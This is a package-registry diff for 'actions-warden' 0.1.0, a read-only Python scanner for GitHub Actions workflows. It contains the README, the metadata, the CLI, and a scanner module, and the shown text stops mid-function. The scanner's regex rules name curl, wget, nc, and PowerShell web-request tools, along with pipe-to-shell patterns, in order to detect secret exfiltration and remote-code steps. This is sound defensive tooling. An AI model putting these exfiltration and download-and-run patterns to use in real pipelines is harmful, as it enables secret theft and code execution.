actions-warden 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- actions_warden-0.1.0/LICENSE +21 -0
- actions_warden-0.1.0/PKG-INFO +117 -0
- actions_warden-0.1.0/README.md +68 -0
- actions_warden-0.1.0/pyproject.toml +46 -0
- actions_warden-0.1.0/setup.cfg +4 -0
- actions_warden-0.1.0/src/actions_warden/__init__.py +7 -0
- actions_warden-0.1.0/src/actions_warden/__main__.py +5 -0
- actions_warden-0.1.0/src/actions_warden/cli.py +127 -0
- actions_warden-0.1.0/src/actions_warden/scanner.py +360 -0
- actions_warden-0.1.0/src/actions_warden.egg-info/PKG-INFO +117 -0
- actions_warden-0.1.0/src/actions_warden.egg-info/SOURCES.txt +15 -0
- actions_warden-0.1.0/src/actions_warden.egg-info/dependency_links.txt +1 -0
- actions_warden-0.1.0/src/actions_warden.egg-info/entry_points.txt +2 -0
- actions_warden-0.1.0/src/actions_warden.egg-info/requires.txt +3 -0
- actions_warden-0.1.0/src/actions_warden.egg-info/top_level.txt +1 -0
- actions_warden-0.1.0/tests/test_cli.py +58 -0
- actions_warden-0.1.0/tests/test_scanner.py +187 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Dragon-Lady
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: actions-warden
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Read-only auditor for risky or injected GitHub Actions workflow config
|
|
5
|
+
Author: Dragon Lady
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2026 Dragon-Lady
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
|
|
28
|
+
Project-URL: Homepage, https://github.com/Dragon-Lady/actions-warden
|
|
29
|
+
Project-URL: Repository, https://github.com/Dragon-Lady/actions-warden
|
|
30
|
+
Project-URL: Issues, https://github.com/Dragon-Lady/actions-warden/issues
|
|
31
|
+
Keywords: security,github-actions,ci-cd,workflow,supply-chain,scanner,devsecops
|
|
32
|
+
Classifier: Development Status :: 3 - Alpha
|
|
33
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
34
|
+
Classifier: Programming Language :: Python :: 3
|
|
35
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
36
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
37
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
38
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
39
|
+
Classifier: Topic :: Security
|
|
40
|
+
Classifier: Intended Audience :: Developers
|
|
41
|
+
Classifier: Intended Audience :: System Administrators
|
|
42
|
+
Classifier: Operating System :: OS Independent
|
|
43
|
+
Requires-Python: >=3.9
|
|
44
|
+
Description-Content-Type: text/markdown
|
|
45
|
+
License-File: LICENSE
|
|
46
|
+
Provides-Extra: dev
|
|
47
|
+
Requires-Dist: pytest<10,>=8; extra == "dev"
|
|
48
|
+
Dynamic: license-file
|
|
49
|
+
|
|
50
|
+
# Actions Warden
|
|
51
|
+
|
|
52
|
+
Read-only auditor for risky or injected GitHub Actions workflow config.
|
|
53
|
+
|
|
54
|
+
After the 2026 wave of repository-theft attacks, a common post-compromise move
|
|
55
|
+
is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
|
|
56
|
+
CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
|
|
57
|
+
files for the patterns that enable it.
|
|
58
|
+
|
|
59
|
+
It does not execute workflows, contact GitHub, modify files, or prove a pipeline
|
|
60
|
+
is safe.
|
|
61
|
+
|
|
62
|
+
## Install
|
|
63
|
+
|
|
64
|
+
```sh
|
|
65
|
+
pipx install actions-warden
|
|
66
|
+
# or
|
|
67
|
+
pip install actions-warden
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
Python 3.9+. No runtime dependencies.
|
|
71
|
+
|
|
72
|
+
## Usage
|
|
73
|
+
|
|
74
|
+
```sh
|
|
75
|
+
actions-warden /path/to/repo
|
|
76
|
+
actions-warden /path/to/repo --json
|
|
77
|
+
actions-warden /path/to/repo --report report.json
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
|
|
81
|
+
files. You can also point it at a single workflow file.
|
|
82
|
+
|
|
83
|
+
Exit codes:
|
|
84
|
+
|
|
85
|
+
- `0`: no blocking workflow risks found
|
|
86
|
+
- `1`: usage or runtime error
|
|
87
|
+
- `2`: blocking workflow risks found (suitable as a CI gate)
|
|
88
|
+
|
|
89
|
+
## What It Flags
|
|
90
|
+
|
|
91
|
+
| Rule | Severity | What it catches |
|
|
92
|
+
|------|----------|-----------------|
|
|
93
|
+
| `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
|
|
94
|
+
| `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
|
|
95
|
+
| `remote-code-in-run` | high | a downloaded script piped straight into a shell |
|
|
96
|
+
| `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
|
|
97
|
+
| `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
|
|
98
|
+
| `permissions-write-all` | medium | `write-all` token permissions |
|
|
99
|
+
| `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
|
|
100
|
+
| `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
|
|
101
|
+
|
|
102
|
+
The rules are conservative. A finding means "review this workflow," not "this
|
|
103
|
+
repo is compromised."
|
|
104
|
+
|
|
105
|
+
## Why text-based, not YAML-parsed
|
|
106
|
+
|
|
107
|
+
A hostile workflow can be written to parse in surprising ways. Actions Warden
|
|
108
|
+
inspects what is actually on disk rather than a parser's normalized view, and
|
|
109
|
+
stays dependency-free. The tradeoff is coarser context: some `file_all` rules
|
|
110
|
+
flag co-occurrence within a file rather than within a single job.
|
|
111
|
+
|
|
112
|
+
## Scope Limits
|
|
113
|
+
|
|
114
|
+
This is a narrow CI/CD config scanner. It does not scan dependencies or packages
|
|
115
|
+
(see a dependency/supply-chain scanner for that), does not resolve reusable or
|
|
116
|
+
remote workflows, and will not catch every possible injection or obfuscated
|
|
117
|
+
payload.
|
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
# Actions Warden
|
|
2
|
+
|
|
3
|
+
Read-only auditor for risky or injected GitHub Actions workflow config.
|
|
4
|
+
|
|
5
|
+
After the 2026 wave of repository-theft attacks, a common post-compromise move
|
|
6
|
+
is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
|
|
7
|
+
CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
|
|
8
|
+
files for the patterns that enable it.
|
|
9
|
+
|
|
10
|
+
It does not execute workflows, contact GitHub, modify files, or prove a pipeline
|
|
11
|
+
is safe.
|
|
12
|
+
|
|
13
|
+
## Install
|
|
14
|
+
|
|
15
|
+
```sh
|
|
16
|
+
pipx install actions-warden
|
|
17
|
+
# or
|
|
18
|
+
pip install actions-warden
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
Python 3.9+. No runtime dependencies.
|
|
22
|
+
|
|
23
|
+
## Usage
|
|
24
|
+
|
|
25
|
+
```sh
|
|
26
|
+
actions-warden /path/to/repo
|
|
27
|
+
actions-warden /path/to/repo --json
|
|
28
|
+
actions-warden /path/to/repo --report report.json
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
|
|
32
|
+
files. You can also point it at a single workflow file.
|
|
33
|
+
|
|
34
|
+
Exit codes:
|
|
35
|
+
|
|
36
|
+
- `0`: no blocking workflow risks found
|
|
37
|
+
- `1`: usage or runtime error
|
|
38
|
+
- `2`: blocking workflow risks found (suitable as a CI gate)
|
|
39
|
+
|
|
40
|
+
## What It Flags
|
|
41
|
+
|
|
42
|
+
| Rule | Severity | What it catches |
|
|
43
|
+
|------|----------|-----------------|
|
|
44
|
+
| `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
|
|
45
|
+
| `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
|
|
46
|
+
| `remote-code-in-run` | high | a downloaded script piped straight into a shell |
|
|
47
|
+
| `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
|
|
48
|
+
| `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
|
|
49
|
+
| `permissions-write-all` | medium | `write-all` token permissions |
|
|
50
|
+
| `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
|
|
51
|
+
| `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
|
|
52
|
+
|
|
53
|
+
The rules are conservative. A finding means "review this workflow," not "this
|
|
54
|
+
repo is compromised."
|
|
55
|
+
|
|
56
|
+
## Why text-based, not YAML-parsed
|
|
57
|
+
|
|
58
|
+
A hostile workflow can be written to parse in surprising ways. Actions Warden
|
|
59
|
+
inspects what is actually on disk rather than a parser's normalized view, and
|
|
60
|
+
stays dependency-free. The tradeoff is coarser context: some `file_all` rules
|
|
61
|
+
flag co-occurrence within a file rather than within a single job.
|
|
62
|
+
|
|
63
|
+
## Scope Limits
|
|
64
|
+
|
|
65
|
+
This is a narrow CI/CD config scanner. It does not scan dependencies or packages
|
|
66
|
+
(see a dependency/supply-chain scanner for that), does not resolve reusable or
|
|
67
|
+
remote workflows, and will not catch every possible injection or obfuscated
|
|
68
|
+
payload.
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=68", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "actions-warden"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Read-only auditor for risky or injected GitHub Actions workflow config"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
license = { file = "LICENSE" }
|
|
11
|
+
authors = [{ name = "Dragon Lady" }]
|
|
12
|
+
keywords = ["security", "github-actions", "ci-cd", "workflow", "supply-chain", "scanner", "devsecops"]
|
|
13
|
+
requires-python = ">=3.9"
|
|
14
|
+
dependencies = []
|
|
15
|
+
classifiers = [
|
|
16
|
+
"Development Status :: 3 - Alpha",
|
|
17
|
+
"License :: OSI Approved :: MIT License",
|
|
18
|
+
"Programming Language :: Python :: 3",
|
|
19
|
+
"Programming Language :: Python :: 3.9",
|
|
20
|
+
"Programming Language :: Python :: 3.10",
|
|
21
|
+
"Programming Language :: Python :: 3.11",
|
|
22
|
+
"Programming Language :: Python :: 3.12",
|
|
23
|
+
"Topic :: Security",
|
|
24
|
+
"Intended Audience :: Developers",
|
|
25
|
+
"Intended Audience :: System Administrators",
|
|
26
|
+
"Operating System :: OS Independent",
|
|
27
|
+
]
|
|
28
|
+
|
|
29
|
+
[project.urls]
|
|
30
|
+
Homepage = "https://github.com/Dragon-Lady/actions-warden"
|
|
31
|
+
Repository = "https://github.com/Dragon-Lady/actions-warden"
|
|
32
|
+
Issues = "https://github.com/Dragon-Lady/actions-warden/issues"
|
|
33
|
+
|
|
34
|
+
[project.optional-dependencies]
|
|
35
|
+
dev = [
|
|
36
|
+
"pytest>=8,<10",
|
|
37
|
+
]
|
|
38
|
+
|
|
39
|
+
[project.scripts]
|
|
40
|
+
actions-warden = "actions_warden.cli:main"
|
|
41
|
+
|
|
42
|
+
[tool.setuptools.packages.find]
|
|
43
|
+
where = ["src"]
|
|
44
|
+
|
|
45
|
+
[tool.pytest.ini_options]
|
|
46
|
+
norecursedirs = ["build", "dist", "*.egg-info", ".pytest_cache", "__pycache__"]
|
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
"""Command-line interface.
|
|
2
|
+
|
|
3
|
+
Argument parsing is hand-rolled (not argparse) to preserve the exit-code
|
|
4
|
+
contract: argparse exits with code 2 on a bad flag, but 2 means "blocking
|
|
5
|
+
workflow risk found" here. Usage/runtime errors must exit 1.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import json
|
|
9
|
+
import os
|
|
10
|
+
import sys
|
|
11
|
+
|
|
12
|
+
from .scanner import scan_target
|
|
13
|
+
|
|
14
|
+
HELP_TEXT = """actions-warden
|
|
15
|
+
|
|
16
|
+
Read-only auditor for risky or injected GitHub Actions workflow config.
|
|
17
|
+
|
|
18
|
+
Usage:
|
|
19
|
+
actions-warden [target] [--json] [--report report.json]
|
|
20
|
+
|
|
21
|
+
Options:
|
|
22
|
+
--json print JSON report to stdout
|
|
23
|
+
--report <path> write JSON report to a specific path
|
|
24
|
+
-h, --help show this help
|
|
25
|
+
|
|
26
|
+
Exit codes:
|
|
27
|
+
0 no blocking workflow risks found
|
|
28
|
+
1 usage or runtime error
|
|
29
|
+
2 blocking workflow risks found
|
|
30
|
+
"""
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def _parse_args(argv):
|
|
34
|
+
args = {"target": ".", "json": False, "report_path": "", "help": False}
|
|
35
|
+
index = 0
|
|
36
|
+
while index < len(argv):
|
|
37
|
+
arg = argv[index]
|
|
38
|
+
if arg in ("--help", "-h"):
|
|
39
|
+
args["help"] = True
|
|
40
|
+
elif arg == "--json":
|
|
41
|
+
args["json"] = True
|
|
42
|
+
elif arg == "--report":
|
|
43
|
+
index += 1
|
|
44
|
+
if index >= len(argv) or not argv[index]:
|
|
45
|
+
raise ValueError("--report requires a file path")
|
|
46
|
+
args["report_path"] = argv[index]
|
|
47
|
+
elif arg.startswith("--report="):
|
|
48
|
+
args["report_path"] = arg[len("--report="):]
|
|
49
|
+
if not args["report_path"]:
|
|
50
|
+
raise ValueError("--report requires a file path")
|
|
51
|
+
elif not arg.startswith("-"):
|
|
52
|
+
args["target"] = arg
|
|
53
|
+
else:
|
|
54
|
+
raise ValueError(f"Unknown argument: {arg}")
|
|
55
|
+
index += 1
|
|
56
|
+
return args
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def _print_human(report, written_report_path):
|
|
60
|
+
print("Actions Warden")
|
|
61
|
+
print(f"Target: {report['target']}")
|
|
62
|
+
print(f"Risk: {report['risk']}")
|
|
63
|
+
print(f"Scanned: {report['summary']['filesScanned']} workflow files")
|
|
64
|
+
print(f"Findings: {report['summary']['findings']}")
|
|
65
|
+
print("")
|
|
66
|
+
|
|
67
|
+
if report["risk"] == "blocked":
|
|
68
|
+
print("STOP")
|
|
69
|
+
print("Risky or injected GitHub Actions workflow config was found.")
|
|
70
|
+
print("Review each finding before merging, re-enabling, or trusting this pipeline.")
|
|
71
|
+
print("")
|
|
72
|
+
else:
|
|
73
|
+
print("No blocking workflow risks were found by this scanner.")
|
|
74
|
+
print("This does not prove the pipeline is safe; it only covers known local rules.")
|
|
75
|
+
print("")
|
|
76
|
+
|
|
77
|
+
if report["findings"]:
|
|
78
|
+
print("Findings:")
|
|
79
|
+
for item in report["findings"]:
|
|
80
|
+
location = item["path"]
|
|
81
|
+
if item.get("line"):
|
|
82
|
+
location = f"{location}:{item['line']}"
|
|
83
|
+
print(f"[{item['severity']}] {item['type']}")
|
|
84
|
+
print(f" {location}")
|
|
85
|
+
print(f" {item['message']}")
|
|
86
|
+
if item["evidence"]:
|
|
87
|
+
print(f" evidence: {item['evidence']}")
|
|
88
|
+
print("")
|
|
89
|
+
|
|
90
|
+
print("Guidance:")
|
|
91
|
+
for item in report["guidance"]:
|
|
92
|
+
print(f"- {item}")
|
|
93
|
+
|
|
94
|
+
if written_report_path:
|
|
95
|
+
print("")
|
|
96
|
+
print(f"JSON report written: {written_report_path}")
|
|
97
|
+
|
|
98
|
+
|
|
99
|
+
def main(argv=None):
|
|
100
|
+
if argv is None:
|
|
101
|
+
argv = sys.argv[1:]
|
|
102
|
+
try:
|
|
103
|
+
args = _parse_args(argv)
|
|
104
|
+
if args["help"]:
|
|
105
|
+
print(HELP_TEXT)
|
|
106
|
+
return 0
|
|
107
|
+
|
|
108
|
+
report = scan_target(args["target"])
|
|
109
|
+
written_report_path = ""
|
|
110
|
+
if args["report_path"]:
|
|
111
|
+
written_report_path = os.path.abspath(args["report_path"])
|
|
112
|
+
with open(written_report_path, "w", encoding="utf-8") as handle:
|
|
113
|
+
handle.write(json.dumps(report, indent=2) + "\n")
|
|
114
|
+
|
|
115
|
+
if args["json"]:
|
|
116
|
+
print(json.dumps(report, indent=2))
|
|
117
|
+
else:
|
|
118
|
+
_print_human(report, written_report_path)
|
|
119
|
+
|
|
120
|
+
return 2 if report["risk"] == "blocked" else 0
|
|
121
|
+
except (ValueError, OSError) as error:
|
|
122
|
+
print(f"Error: {error}", file=sys.stderr)
|
|
123
|
+
return 1
|
|
124
|
+
|
|
125
|
+
|
|
126
|
+
if __name__ == "__main__":
|
|
127
|
+
sys.exit(main())
|
|
@@ -0,0 +1,360 @@
|
|
|
1
|
+
"""Core scanning logic for GitHub Actions workflow auditing.
|
|
2
|
+
|
|
3
|
+
This scanner is intentionally text/regex based rather than YAML-parsed: a
|
|
4
|
+
hostile workflow can be crafted to parse oddly, and we want to inspect what is
|
|
5
|
+
actually written on disk, not what a parser normalizes. It runs read-only, makes
|
|
6
|
+
no network calls, and executes nothing.
|
|
7
|
+
|
|
8
|
+
Rules map to the GitHub Actions security-hardening guidance and to the
|
|
9
|
+
post-compromise TTP seen in 2026 (stolen PAT -> injected workflow that exfils
|
|
10
|
+
secrets or runs attacker code). A finding means "review this workflow," not
|
|
11
|
+
"this repo is compromised."
|
|
12
|
+
"""
|
|
13
|
+
|
|
14
|
+
import os
|
|
15
|
+
import re
|
|
16
|
+
from datetime import datetime, timezone
|
|
17
|
+
|
|
18
|
+
DEFAULT_MAX_FILE_BYTES = 1 * 1024 * 1024
|
|
19
|
+
|
|
20
|
+
SKIP_DIRS = {
|
|
21
|
+
".git",
|
|
22
|
+
".hg",
|
|
23
|
+
".svn",
|
|
24
|
+
"node_modules",
|
|
25
|
+
".venv",
|
|
26
|
+
"venv",
|
|
27
|
+
"dist",
|
|
28
|
+
"build",
|
|
29
|
+
"coverage",
|
|
30
|
+
"__pycache__",
|
|
31
|
+
".pytest_cache",
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
# Attacker-controllable expression contexts. Interpolating these into an inline
|
|
35
|
+
# shell `run:` step is GitHub's top-documented Actions injection vector.
|
|
36
|
+
_UNTRUSTED_EXPR = r"github\.(?:head_ref|event\.(?:issue\.title|issue\.body|pull_request\.title|pull_request\.body|pull_request\.head\.ref|comment\.body|review\.body|review_comment\.body|pages|head_commit\.message|commits)|event\.pull_request\.head\.repo\.full_name)"
|
|
37
|
+
|
|
38
|
+
# Outbound-exfil command families. Built from parts so the repo does not ship a
|
|
39
|
+
# single copy-paste-ready exfil one-liner.
|
|
40
|
+
_OUTBOUND = r"(?:" + "|".join(
|
|
41
|
+
[
|
|
42
|
+
r"c" + r"url",
|
|
43
|
+
r"w" + r"get",
|
|
44
|
+
r"\bnc\b",
|
|
45
|
+
r"ncat",
|
|
46
|
+
r"invoke-?webrequest",
|
|
47
|
+
r"invoke-?restmethod",
|
|
48
|
+
r"\birm\b",
|
|
49
|
+
r"\biwr\b",
|
|
50
|
+
]
|
|
51
|
+
) + r")"
|
|
52
|
+
|
|
53
|
+
_PIPE_SHELL = (
|
|
54
|
+
r"(?:c" + r"url|w" + r"get)\b[^\n|]*\|\s*(?:bash|sh|zsh)\b"
|
|
55
|
+
r"|(?:i" + r"wr|invoke-?webrequest|i" + r"rm|invoke-?restmethod)\b[^\n|]*\|\s*"
|
|
56
|
+
r"(?:iex|invoke-?expression)\b"
|
|
57
|
+
)
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
RULES = [
|
|
61
|
+
{
|
|
62
|
+
"id": "secret-exfiltration",
|
|
63
|
+
"severity": "critical",
|
|
64
|
+
"type": "workflow-secret-exfiltration",
|
|
65
|
+
"description": (
|
|
66
|
+
"Workflow references a secret and an outbound network command; a "
|
|
67
|
+
"secret may be sent off the runner."
|
|
68
|
+
),
|
|
69
|
+
"file_all": [r"secrets\.", _OUTBOUND],
|
|
70
|
+
},
|
|
71
|
+
{
|
|
72
|
+
"id": "untrusted-input-injection",
|
|
73
|
+
"severity": "high",
|
|
74
|
+
"type": "workflow-script-injection",
|
|
75
|
+
"description": (
|
|
76
|
+
"Attacker-controllable input is interpolated into the workflow; in "
|
|
77
|
+
"an inline run step this allows shell script injection."
|
|
78
|
+
),
|
|
79
|
+
"line_any": [r"\$\{\{[^}]*" + _UNTRUSTED_EXPR],
|
|
80
|
+
},
|
|
81
|
+
{
|
|
82
|
+
"id": "remote-code-in-run",
|
|
83
|
+
"severity": "high",
|
|
84
|
+
"type": "workflow-remote-code-exec",
|
|
85
|
+
"description": "Workflow pipes a downloaded script directly into a shell.",
|
|
86
|
+
"line_any": [_PIPE_SHELL],
|
|
87
|
+
},
|
|
88
|
+
{
|
|
89
|
+
"id": "pull-request-target-head-checkout",
|
|
90
|
+
"severity": "high",
|
|
91
|
+
"type": "workflow-pwn-request",
|
|
92
|
+
"description": (
|
|
93
|
+
"pull_request_target runs with repo secrets while checking out "
|
|
94
|
+
"pull-request-controlled code (the 'pwn request' pattern)."
|
|
95
|
+
),
|
|
96
|
+
"file_all": [
|
|
97
|
+
r"pull_request_target",
|
|
98
|
+
r"uses:\s*actions/checkout",
|
|
99
|
+
r"ref:\s*\$\{\{[^}]*github\.event\.pull_request\.head|head\.ref|head\.sha",
|
|
100
|
+
],
|
|
101
|
+
},
|
|
102
|
+
{
|
|
103
|
+
"id": "self-hosted-on-untrusted",
|
|
104
|
+
"severity": "medium",
|
|
105
|
+
"type": "workflow-self-hosted-untrusted",
|
|
106
|
+
"description": (
|
|
107
|
+
"A self-hosted runner is used in a workflow triggered by external "
|
|
108
|
+
"pull requests; untrusted code may run on your hardware."
|
|
109
|
+
),
|
|
110
|
+
"file_all": [r"runs-on:\s*\[?[^\n]*self-hosted", r"on:[^\n]*pull_request\b|pull_request:"],
|
|
111
|
+
},
|
|
112
|
+
{
|
|
113
|
+
"id": "permissions-write-all",
|
|
114
|
+
"severity": "medium",
|
|
115
|
+
"type": "workflow-broad-permissions",
|
|
116
|
+
"description": "Workflow grants write-all token permissions (broad blast radius).",
|
|
117
|
+
"line_any": [r"permissions:\s*write-all"],
|
|
118
|
+
},
|
|
119
|
+
{
|
|
120
|
+
"id": "oidc-with-write",
|
|
121
|
+
"severity": "medium",
|
|
122
|
+
"type": "workflow-oidc-write",
|
|
123
|
+
"description": (
|
|
124
|
+
"Workflow combines OIDC id-token issuance with write permissions; "
|
|
125
|
+
"confirm this scope is intended."
|
|
126
|
+
),
|
|
127
|
+
"file_all": [r"id-token:\s*write", r"contents:\s*write"],
|
|
128
|
+
},
|
|
129
|
+
{
|
|
130
|
+
"id": "unpinned-action",
|
|
131
|
+
"severity": "low",
|
|
132
|
+
"type": "workflow-unpinned-action",
|
|
133
|
+
"description": (
|
|
134
|
+
"Third-party action is pinned to a mutable tag/branch, not a full "
|
|
135
|
+
"commit SHA; a hijacked tag would run in your pipeline."
|
|
136
|
+
),
|
|
137
|
+
"uses_unpinned": True,
|
|
138
|
+
},
|
|
139
|
+
]
|
|
140
|
+
|
|
141
|
+
_SHA_RE = re.compile(r"^[0-9a-f]{40}$")
|
|
142
|
+
_USES_RE = re.compile(r"uses:\s*([^\s@'\"]+)@([^\s'\"#]+)")
|
|
143
|
+
|
|
144
|
+
|
|
145
|
+
def scan_target(target_path=".", max_file_bytes=DEFAULT_MAX_FILE_BYTES):
|
|
146
|
+
from . import __version__
|
|
147
|
+
|
|
148
|
+
root = os.path.abspath(target_path or ".")
|
|
149
|
+
findings = []
|
|
150
|
+
files_scanned = 0
|
|
151
|
+
files_skipped = 0
|
|
152
|
+
|
|
153
|
+
for file_path in _iter_workflow_files(root):
|
|
154
|
+
size = _safe_size(file_path)
|
|
155
|
+
if size is None:
|
|
156
|
+
continue
|
|
157
|
+
if size > max_file_bytes:
|
|
158
|
+
files_skipped += 1
|
|
159
|
+
findings.append(
|
|
160
|
+
_finding("low", "large-file-skipped", file_path,
|
|
161
|
+
f"Skipped file over {max_file_bytes} bytes.")
|
|
162
|
+
)
|
|
163
|
+
continue
|
|
164
|
+
text = _read_text(file_path)
|
|
165
|
+
if text is None:
|
|
166
|
+
findings.append(
|
|
167
|
+
_finding("low", "read-error", file_path,
|
|
168
|
+
"Could not read file as UTF-8 text.")
|
|
169
|
+
)
|
|
170
|
+
continue
|
|
171
|
+
files_scanned += 1
|
|
172
|
+
scan_workflow_text(file_path, text, findings)
|
|
173
|
+
|
|
174
|
+
deduped = _dedupe_findings(findings)
|
|
175
|
+
risk = _risk_level(deduped)
|
|
176
|
+
return {
|
|
177
|
+
"tool": "actions-warden",
|
|
178
|
+
"version": __version__,
|
|
179
|
+
"scannedAt": datetime.now(timezone.utc).isoformat(),
|
|
180
|
+
"target": root,
|
|
181
|
+
"risk": risk,
|
|
182
|
+
"summary": {
|
|
183
|
+
"filesScanned": files_scanned,
|
|
184
|
+
"filesSkipped": files_skipped,
|
|
185
|
+
"findings": len(deduped),
|
|
186
|
+
},
|
|
187
|
+
"findings": deduped,
|
|
188
|
+
"guidance": _guidance_for_risk(risk),
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
|
|
192
|
+
def scan_workflow_text(file_path, text, findings):
|
|
193
|
+
lines = text.splitlines()
|
|
194
|
+
for rule in RULES:
|
|
195
|
+
if rule.get("uses_unpinned"):
|
|
196
|
+
_scan_unpinned(rule, file_path, lines, findings)
|
|
197
|
+
elif "line_any" in rule:
|
|
198
|
+
hit = _match_line_any(rule["line_any"], lines)
|
|
199
|
+
if hit:
|
|
200
|
+
line_no, snippet = hit
|
|
201
|
+
findings.append(
|
|
202
|
+
_finding(rule["severity"], rule["type"], file_path,
|
|
203
|
+
f"{rule['description']} Rule: {rule['id']}.",
|
|
204
|
+
_defang(snippet), line_no)
|
|
205
|
+
)
|
|
206
|
+
elif "file_all" in rule:
|
|
207
|
+
evidence = _match_file_all(rule["file_all"], text)
|
|
208
|
+
if evidence is not None:
|
|
209
|
+
findings.append(
|
|
210
|
+
_finding(rule["severity"], rule["type"], file_path,
|
|
211
|
+
f"{rule['description']} Rule: {rule['id']}.",
|
|
212
|
+
evidence)
|
|
213
|
+
)
|
|
214
|
+
|
|
215
|
+
|
|
216
|
+
def _match_line_any(patterns, lines):
|
|
217
|
+
compiled = [re.compile(p, re.IGNORECASE) for p in patterns]
|
|
218
|
+
for index, line in enumerate(lines):
|
|
219
|
+
for pattern in compiled:
|
|
220
|
+
match = pattern.search(line)
|
|
221
|
+
if match:
|
|
222
|
+
return index + 1, line.strip()
|
|
223
|
+
return None
|
|
224
|
+
|
|
225
|
+
|
|
226
|
+
def _match_file_all(patterns, text):
|
|
227
|
+
snippets = []
|
|
228
|
+
for pattern in patterns:
|
|
229
|
+
